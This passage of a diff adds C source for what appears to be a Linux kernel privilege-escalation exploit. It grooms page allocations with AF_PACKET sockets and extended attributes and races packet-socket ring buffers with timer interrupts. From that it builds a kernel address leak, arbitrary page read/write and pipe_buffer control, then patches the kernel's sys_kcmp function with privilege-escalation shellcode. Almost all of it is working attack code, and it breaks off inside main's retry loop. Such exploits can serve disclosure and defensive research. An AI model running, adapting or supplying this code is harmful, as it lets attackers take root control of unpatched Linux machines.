pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + victim_packet_socket_destroy(exploit_victim_packet_socket); + return overflow_success; +} + +void *pages_order3_read_primitive_trigger(struct pages_order3_read_primitive *pages_order3_read_primitive) +{ + void *leak_data = Calloc(1, XATTR_SIZE_MAX); + Getxattr( + pages_order3_read_primitive->victim_request->filepath, + pages_order3_read_primitive->victim_request->name, + leak_data, + XATTR_SIZE_MAX + ); + + return leak_data; +} + +bool pages_order3_read_primitive_build_leaked_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + void *p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + void *leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + enum leak_data_kind kind = pages_order3_leak_data_kind(leak_data); + + if (kind == LEAK_DATA_SIMPLE_XATTR) { + struct simple_xattr *leak_simple_xattr = leak_data; + char *leak_value = (char *)(leak_simple_xattr->value); + if (strncmp( + leak_value, + PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN, + strlen(PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN) + ) == 0) { + container = pages_order3_read_primitive->groom_container; + assert(container != NULL); + + ssize_t leak_value_idx = simple_xattr_request_container_search_by_value( + container, + leak_value, + PAGES_ORDER2_SIZE + ); + + assert(leak_value_idx >= 0); + simple_xattr_request = simple_xattr_request_container_pop_at( + pages_order3_read_primitive->groom_container, + leak_value_idx + ); + + pages_order3_read_primitive->leaked_content_request = simple_xattr_request; + pages_order3_read_primitive->leaked_address_request = pages_order3_read_primitive->victim_request; + + free(p); + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + return true; + } + } else if (kind == LEAK_DATA_PAGE_DRAIN) { + container = simple_xattr_request_container_create(TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * 2); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * 2; i++) { + char name[XATTR_NAME_MAX + 1] = {}; + char value[XATTR_SIZE_MAX] = {}; + snprintf(name, sizeof(name), PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_NAME_FMT, i); + snprintf(value, sizeof(value), PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_FMT, i); + + simple_xattr_request = simple_xattr_request_create( + PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH, + name, + value, + PAGES_ORDER2_SIZE + ); + + simple_xattr_request_container_insert(container, simple_xattr_request); + } + + bool found_drain_pages = false; + int match_packet_socket = -1; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR && !found_drain_pages; i++) { + u64 mmap_size = TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * PAGES_ORDER3_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + 0 + ); + + if (strcmp(m, leak_data) == 0) { + match_packet_socket = pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]; + found_drain_pages = true; + } + + Munmap(m, mmap_size); + } + + assert(found_drain_pages); + + free_pages(match_packet_socket); + + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Setxattr( + simple_xattr_request->filepath, + simple_xattr_request->name, + simple_xattr_request->value, + simple_xattr_request->value_size, + XATTR_CREATE + ); + } + + free(p); + p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + + kind = pages_order3_leak_data_kind(leak_data); + if (kind != LEAK_DATA_SIMPLE_XATTR) { + free(p); + return false; + } + + struct simple_xattr *leak_simple_xattr = leak_data; + char *leak_value = (char *)(leak_simple_xattr->value); + if (strncmp( + leak_value, + PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN, + strlen(PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN) + ) == 0) { + ssize_t idx = simple_xattr_request_container_search_by_value( + container, + leak_value, + PAGES_ORDER2_SIZE + ); + + assert(idx >= 0); + simple_xattr_request = simple_xattr_request_container_pop_at(container, idx); + pages_order3_read_primitive->leaked_content_request = simple_xattr_request; + simple_xattr_request = simple_xattr_request_container_pop_at(container, 0); + pages_order3_read_primitive->leaked_address_request = simple_xattr_request; + pages_order3_read_primitive->reclaim_drain_pages_container = container; + free(p); + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + return true; + } else { + simple_xattr_request_container_destroy(container); + free(p); + return false; + + } + } + + return false; +} + +u64 pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + void *p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + void *leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + struct simple_xattr *leak_simple_xattr = leak_data; + simple_xattr_dump(leak_simple_xattr); + + u64 pages_order3_simple_xattr_kernel_address = 0; + if (__rb_parent(leak_simple_xattr->rb_node.__rb_parent_color)) { + pages_order3_simple_xattr_kernel_address = (u64)(__rb_parent(leak_simple_xattr->rb_node.__rb_parent_color)); + } else if (leak_simple_xattr->rb_node.rb_left) { + pages_order3_simple_xattr_kernel_address = (u64)(leak_simple_xattr->rb_node.rb_left); + } else { + pages_order3_simple_xattr_kernel_address = (u64)(leak_simple_xattr->rb_node.rb_right); + } + + free(p); + return pages_order3_simple_xattr_kernel_address; +} + +void pages_order3_read_primitive_cleanup_unused_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + + container = pages_order3_read_primitive->groom_container; + pages_order3_read_primitive->groom_container = NULL; + + if (container) { + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + } + + container = pages_order3_read_primitive->reclaim_drain_pages_container; + pages_order3_read_primitive->reclaim_drain_pages_container = NULL; + + if (container) { + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + } +} + +void pages_order3_read_primitive_cleanup_unused_packet_sockets( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + Close(pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + Close(pages_order3_read_primitive->placeholder_packet_sockets[i]); +} + +struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive_create( + struct necessary_threads *necessary_threads, + struct simple_xattr_request *pages_order3_simple_xattr_request, + u64 pages_order3_simple_xattr_kernel_address, + int configure_network_interface_socket, + int timerfd +) +{ + struct simple_xattr_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->necessary_threads = necessary_threads; + primitive->pages_order3_simple_xattr_request = pages_order3_simple_xattr_request; + primitive->pages_order3_simple_xattr_kernel_address = pages_order3_simple_xattr_kernel_address; + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + primitive->drain_order3_pages_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + primitive->placeholder_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM; i++) + primitive->spray_pgv_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + primitive->victim_packet_socket = -1; + primitive->configure_network_interface_socket = configure_network_interface_socket; + primitive->timerfd = timerfd; + return primitive; +} + +void simple_xattr_read_write_primitive_destroy( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + if (simple_xattr_read_write_primitive->pages_order3_simple_xattr_request) { + Removexattr( + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->name + ); + + simple_xattr_request_destroy(simple_xattr_read_write_primitive->pages_order3_simple_xattr_request); + } + + if (simple_xattr_read_write_primitive->victim_packet_socket != -1) + Close(simple_xattr_read_write_primitive->victim_packet_socket); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + if (simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i]); + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + if (simple_xattr_read_write_primitive->placeholder_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->placeholder_packet_sockets[i]); + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM; i++) { + if (simple_xattr_read_write_primitive->spray_pgv_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->spray_pgv_packet_sockets[i]); + } + } + + free(simple_xattr_read_write_primitive); +} + +bool simple_xattr_read_write_primitive_build_primitive( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + struct timespec timer_interrupt_amplitude +) +{ + u8 packet_data[128] = {}; + *(u64 *)(packet_data) = simple_xattr_read_write_primitive->pages_order3_simple_xattr_kernel_address; + u32 packet_datalen = 128; + + int dummy_ifindex = If_nametoindex(DUMMY_INTERFACE_NAME); + struct sockaddr_ll addr = { + .sll_family = AF_PACKET, .sll_ifindex = dummy_ifindex, .sll_protocol = htons(ETH_P_ALL) + }; + + int packet_loss_enable = 1; + int packet_version = TPACKET_V3; + unsigned packet_reserve = 14; + + struct tpacket_req3 exploit_tx_ring = {}; + exploit_tx_ring.tp_block_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_block_nr = 1; + exploit_tx_ring.tp_frame_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_frame_nr = + exploit_tx_ring.tp_block_size / exploit_tx_ring.tp_frame_size * exploit_tx_ring.tp_block_nr; + + struct tpacket_req3 exploit_rx_ring = {}; + exploit_rx_ring.tp_block_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_block_nr = 2; + exploit_rx_ring.tp_frame_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_frame_nr = + exploit_rx_ring.tp_block_size / exploit_rx_ring.tp_frame_size * exploit_rx_ring.tp_block_nr; + exploit_rx_ring.tp_sizeof_priv = 32624; + exploit_rx_ring.tp_retire_blk_tov = USHRT_MAX; + + struct sock_filter filter[MAX_FILTER_LEN] = {}; + for (int i = 0; i < MAX_FILTER_LEN - 1; i++) { + filter[i].code = BPF_LD | BPF_IMM; + filter[i].k = 0xcafebabe; + } + + filter[MAX_FILTER_LEN - 1].code = BPF_RET | BPF_K; + filter[MAX_FILTER_LEN - 1].k = 8; + + struct pg_vec_lock_thread_work *pg_vec_lock_thread_work = NULL; + struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work = NULL; + struct tpacket_rcv_thread_work *tpacket_rcv_thread_work = NULL; + struct msghdr *msghdr = NULL; + + struct __kernel_sock_timeval sndtimeo = { .tv_sec = 1 }; + struct timespec pg_vec_lock_release_time = {}; + struct timespec pg_vec_lock_timeout = { + .tv_sec = sndtimeo.tv_sec, + .tv_nsec = sndtimeo.tv_usec * NSEC_PER_USEC + }; + + struct necessary_threads *necessary_threads = simple_xattr_read_write_primitive->necessary_threads; + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_send_work(necessary_threads->timerfd_waitlist_threads[i]); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_work_complete(necessary_threads->timerfd_waitlist_threads[i]); + + struct victim_packet_socket *exploit_victim_packet_socket = NULL; + exploit_victim_packet_socket = victim_packet_socket_create( + sndtimeo, addr, exploit_tx_ring, exploit_rx_ring, packet_loss_enable, packet_version, + packet_reserve, MAX_FILTER_LEN, filter + ); + + pin_thread_on_cpu(CPU_NUMBER_ZERO); + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + alloc_pages( + simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i], + TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_PGV, + PAGES_ORDER3_SIZE + ); + + alloc_pages( + simple_xattr_read_write_primitive->placeholder_packet_sockets[i], + 1, + PAGES_ORDER3_SIZE + ); + + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + alloc_pages( + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k], + MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3, + PAGE_SIZE + ); + } + } + + victim_packet_socket_configure_for_exploit(exploit_victim_packet_socket); + + pg_vec_lock_thread_work = pg_vec_lock_thread_work_create( + exploit_victim_packet_socket, + dummy_ifindex + ); + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + exploit_victim_packet_socket, + true, // exploit + false // cleanup + ); + + msghdr = msghdr_create(packet_data, packet_datalen, DUMMY_INTERFACE_NAME); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + free_pages(simple_xattr_read_write_primitive->placeholder_packet_sockets[i]); + + pg_vec_lock_thread_send_work(necessary_threads->pg_vec_lock_thread, pg_vec_lock_thread_work); + pg_vec_lock_thread_wait_in_work(necessary_threads->pg_vec_lock_thread); + + network_interface_down(simple_xattr_read_write_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_in_work(necessary_threads->pg_vec_buffer_thread); + + network_interface_up(simple_xattr_read_write_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_lock_release_time = timespec_add( + necessary_threads->pg_vec_lock_thread->sendmsg_begin_time, + pg_vec_lock_timeout + ); + + struct itimerspec settime_value = {}; + settime_value.it_value = timespec_add(pg_vec_lock_release_time, timer_interrupt_amplitude); + settime_value.it_interval.tv_nsec = 16; + + pin_thread_on_cpu(CPU_NUMBER_ONE); + Timerfd_settime(simple_xattr_read_write_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + tpacket_rcv_thread_work = tpacket_rcv_thread_work_create(pg_vec_lock_release_time, msghdr); + tpacket_rcv_thread_send_work(necessary_threads->tpacket_rcv_thread, tpacket_rcv_thread_work); + + tpacket_rcv_thread_wait_work_complete(necessary_threads->tpacket_rcv_thread); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + pg_vec_lock_thread_wait_work_complete(necessary_threads->pg_vec_lock_thread); + + memset(&settime_value, 0, sizeof(settime_value)); + Timerfd_settime(simple_xattr_read_write_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + bool success = false; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV && !success; i++) { + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM && !success; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k], + 0 + ); + + if ( is_data_look_like_simple_xattr(m, PAGES_ORDER2_SIZE) || + is_data_look_like_simple_xattr(m, XATTR_SIZE_MAX) + ) { + simple_xattr_dump(m); + success = true; + } + + Munmap(m, mmap_size); + + if (success) { + simple_xattr_read_write_primitive->victim_packet_socket = + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k]; + + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k] = -1; + } + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + free_pages(simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i]); + + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + if (simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k] != -1) { + free_pages(simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k]); + } + } + } + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + NULL, + false, // exploit + true // cleanup + ); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + victim_packet_socket_destroy(exploit_victim_packet_socket); + return success; +} + +void simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + struct simple_xattr *control_simple_xattr = simple_xattr_read_write_primitive_mmap( + simple_xattr_read_write_primitive + ); + + char value[XATTR_SIZE_MAX] = {}; + struct simple_xattr_request *pages_order5_simple_xattr_request = simple_xattr_request_create( + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + PAGES_ORDER5_LEAKED_ADDRESS_SIMPLE_XATTR_NAME, + value, + PAGES_ORDER4_SIZE + ); + + Setxattr( + pages_order5_simple_xattr_request->filepath, + pages_order5_simple_xattr_request->name, + pages_order5_simple_xattr_request->value, + pages_order5_simple_xattr_request->value_size, + XATTR_CREATE + ); + + u64 pages_order5_simple_xattr_kernel_address = 0; + if (control_simple_xattr->rb_node.rb_left) { + pages_order5_simple_xattr_kernel_address = (u64)(control_simple_xattr->rb_node.rb_left); + } else if (control_simple_xattr->rb_node.rb_right) { + pages_order5_simple_xattr_kernel_address = (u64)(control_simple_xattr->rb_node.rb_right); + } else { + assert(false); + } + + printf("[+] pages_order5_simple_xattr_kernel_address: 0x%016lx\n", + pages_order5_simple_xattr_kernel_address); + + simple_xattr_read_write_primitive->pages_order5_simple_xattr_request = pages_order5_simple_xattr_request; + simple_xattr_read_write_primitive->pages_order5_simple_xattr_kernel_address = + pages_order5_simple_xattr_kernel_address; + + simple_xattr_read_write_primitive_munmap( + simple_xattr_read_write_primitive, + control_simple_xattr + ); +} + +void *simple_xattr_read_write_primitive_mmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + simple_xattr_read_write_primitive->victim_packet_socket, + 0 + ); + + return m; +} + +void simple_xattr_read_write_primitive_munmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + void *mmap_addr +) +{ + UNUSED_FUNCTION_PARAMETER(simple_xattr_read_write_primitive); + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + Munmap(mmap_addr, mmap_size); +} + +struct abr_page_read_write_primitive *abr_page_read_write_primitive_create( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + struct abr_page_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->allocate_pgv_packet_socket = Socket(AF_PACKET, SOCK_RAW, 0); + primitive->simple_xattr_read_write_primitive = simple_xattr_read_write_primitive; + return primitive; +} + +bool abr_page_read_write_primitive_build_primitive(struct abr_page_read_write_primitive *abr_page_read_write_primitive) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + + Removexattr( + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->name + ); + + alloc_pages( + abr_page_read_write_primitive->allocate_pgv_packet_socket, + MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3, + PAGE_SIZE + ); + + simple_xattr_request_destroy( + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request + ); + + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request = NULL; + + abr_page_read_write_primitive->overwrite_pgv_packet_socket = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->victim_packet_socket; + + abr_page_read_write_primitive->simple_xattr_read_write_primitive->victim_packet_socket = -1; + abr_page_read_write_primitive->pgv_kernel_address = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_kernel_address; + + abr_page_read_write_primitive->pages_order5_simple_xattr_request = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order5_simple_xattr_request; + + abr_page_read_write_primitive->pages_order5_simple_xattr_address = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order5_simple_xattr_kernel_address; + + abr_page_read_write_primitive->simple_xattr_read_write_primitive = NULL; + + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->overwrite_pgv_packet_socket, + 0 + ); + + struct pgv *pgv = m; + + for (size_t i = 0; i < 10; i++) { + printf("0x%016lx\n", (u64)pgv[i].buffer); + } + + bool reclaim_success = true; + + for (size_t i = 0; i < MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3; i++) { + u64 addr = (u64)(pgv[i].buffer); + if ((addr >> 48) != 0xFFFF) { + reclaim_success = false; + } + } + + Munmap(m, mmap_size); + return reclaim_success; +} + +void *abr_page_read_write_primitive_page_mmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + u64 addr_to_mmap +) +{ + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->overwrite_pgv_packet_socket, + 0 + ); + + struct pgv *pgv = m; + pgv[0].buffer = (void *)addr_to_mmap; + Munmap(m, mmap_size); + + mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->allocate_pgv_packet_socket, + 0 + ); + + return m; +} + +void abr_page_read_write_primitive_page_munmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + void *mmap_addr +) +{ + UNUSED_FUNCTION_PARAMETER(abr_page_read_write_primitive); + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + Munmap(mmap_addr, mmap_size); +} + +struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive_create( + struct abr_page_read_write_primitive *abr_page_read_write_primitive +) +{ + struct pipe_buffer_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->abr_page_read_write_primitive = abr_page_read_write_primitive; + return primitive; +} + +bool pipe_buffer_read_write_primitive_build_primitive( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct abr_page_read_write_primitive *abr_page_read_write_primitive = + pipe_buffer_read_write_primitive->abr_page_read_write_primitive; + + Pipe2(pipe_buffer_read_write_primitive->pipe_fds, O_DIRECT); + char value[XATTR_SIZE_MAX] = {}; + Setxattr( + abr_page_read_write_primitive->pages_order5_simple_xattr_request->filepath, + PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME, + value, + PAGES_ORDER1_SIZE, + XATTR_CREATE + ); + + struct simple_xattr *pages_order5_simple_xattr = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + abr_page_read_write_primitive->pages_order5_simple_xattr_address + ); + + u64 pages_order2_simple_xattr_address = 0; + if (pages_order5_simple_xattr->rb_node.rb_left) { + pages_order2_simple_xattr_address = (u64)(pages_order5_simple_xattr->rb_node.rb_left); + } else if (pages_order5_simple_xattr->rb_node.rb_right) { + pages_order2_simple_xattr_address = (u64)(pages_order5_simple_xattr->rb_node.rb_right); + } else { + assert(false); + } + + printf("pages_order2_simple_xattr_address: 0x%016lx\n", pages_order2_simple_xattr_address); + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pages_order5_simple_xattr + ); + + Removexattr( + abr_page_read_write_primitive->pages_order5_simple_xattr_request->filepath, + PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME + ); + + Fcntl( + pipe_buffer_read_write_primitive->pipe_fds[0], + F_SETPIPE_SZ, + PAGE_COUNT_TO_ALLOCATE_PIPE_BUFFER_ON_PAGES_ORDER2 * PAGE_SIZE + ); + + Write( + pipe_buffer_read_write_primitive->pipe_fds[1], + DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN, + strlen(DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN) + ); + + struct pipe_buffer *pipe_buffer = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + pages_order2_simple_xattr_address + ); + + if (!is_data_look_like_pipe_buffer(pipe_buffer)) { + Close(pipe_buffer_read_write_primitive->pipe_fds[0]); + Close(pipe_buffer_read_write_primitive->pipe_fds[1]); + pipe_buffer_read_write_primitive->pipe_fds[0] = -1; + pipe_buffer_read_write_primitive->pipe_fds[1] = -1; + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pipe_buffer + ); + + return false; + } + + //pipe_buffer_dump(pipe_buffer); + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pipe_buffer + ); + + pipe_buffer_read_write_primitive->pipe_buffer_address = pages_order2_simple_xattr_address; + return true; +} + +struct pipe_buffer *pipe_buffer_read_write_primitive_page_mmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +) +{ + struct pipe_buffer *pipe_buffer = abr_page_read_write_primitive_page_mmap( + pipe_buffer_read_write_primitive->abr_page_read_write_primitive, + pipe_buffer_read_write_primitive->pipe_buffer_address + ); + + return pipe_buffer; +} + +void pipe_buffer_read_write_primitive_page_munmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive, + void *mmap_addr +) +{ + abr_page_read_write_primitive_page_munmap( + pipe_buffer_read_write_primitive->abr_page_read_write_primitive, + mmap_addr + ); +} + +void *patch_sys_kcmp(struct abr_page_read_write_primitive *abr_page_read_write_primitive) +{ + u64 sys_kcmp_page = __do_sys_kcmp & PAGE_MASK; + u64 sys_kcmp_offset_from_page = __do_sys_kcmp - sys_kcmp_page; + + void *m = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + sys_kcmp_page + ); + + void *overwrite_ptr = m + sys_kcmp_offset_from_page; + void *shellcode = (void *)privilege_escalation_shellcode_begin; + int shellcode_length = (void *)privilege_escalation_shellcode_end - (void *)privilege_escalation_shellcode_begin; + void *saved_opcodes = Calloc(1, shellcode_length); + memcpy(saved_opcodes, overwrite_ptr, shellcode_length); + memcpy(overwrite_ptr, shellcode, shellcode_length); + + abr_page_read_write_primitive_page_munmap(abr_page_read_write_primitive, m); + return saved_opcodes; +} + +int main(void) +{ + setup_nofile_rlimit(); + setup_namespace(); + setup_tmpfs(); + + int timerfd = Timerfd_create(CLOCK_MONOTONIC, 0); + struct necessary_threads *necessary_threads = necessary_threads_create(timerfd); + + dummy_network_interface_create(DUMMY_INTERFACE_NAME, IPV6_MIN_MTU - 1); + int configure_network_interface_socket = Socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); + network_interface_up(configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + struct timespec timer_interrupt_min_amplitude = { .tv_nsec = 140000 }; + struct timespec timer_interrupt_max_amplitude = { .tv_nsec = 170000 }; + struct timespec timer_interrupt_increment = { .tv_nsec = 1000 }; + struct pages_order3_read_primitive *pages_order3_read_primitive = NULL; + + bool pages_order3_read_primitive_build_success = false; + bool leak_simple_xattr_success = false; + + while (!leak_simple_xattr_success) { + pages_order3_read_primitive = pages_order3_read_primitive_create( + necessary_threads, + configure_network_interface_socket, + timerfd + ); + + struct timespec timer_interrupt_current_amplitude = timer_interrupt_min_amplitude; + while ( !pages_order3_read_primitive_build_success && + timespec_cmp(timer_interrupt_current_amplitude, timer_interrupt_max_amplitude) <= 0 ) { + + fprintf(stderr, "test with amplitude: %lu secs - %ld nsecs\n", + timer_interrupt_current_amplitude.tv_sec, + timer_interrupt_current_amplitude.tv_nsec + ); + + pages_order3_read_primitive_build_success = pages_order3_read_primitive_build_primitive( + pages_order3_read_primitive, + timer_interrupt_current_amplitude + ); + + timer_interrupt_current_amplitude = timespec_add( + timer_interrupt_current_amplitude, + timer_interrupt_increment + ); 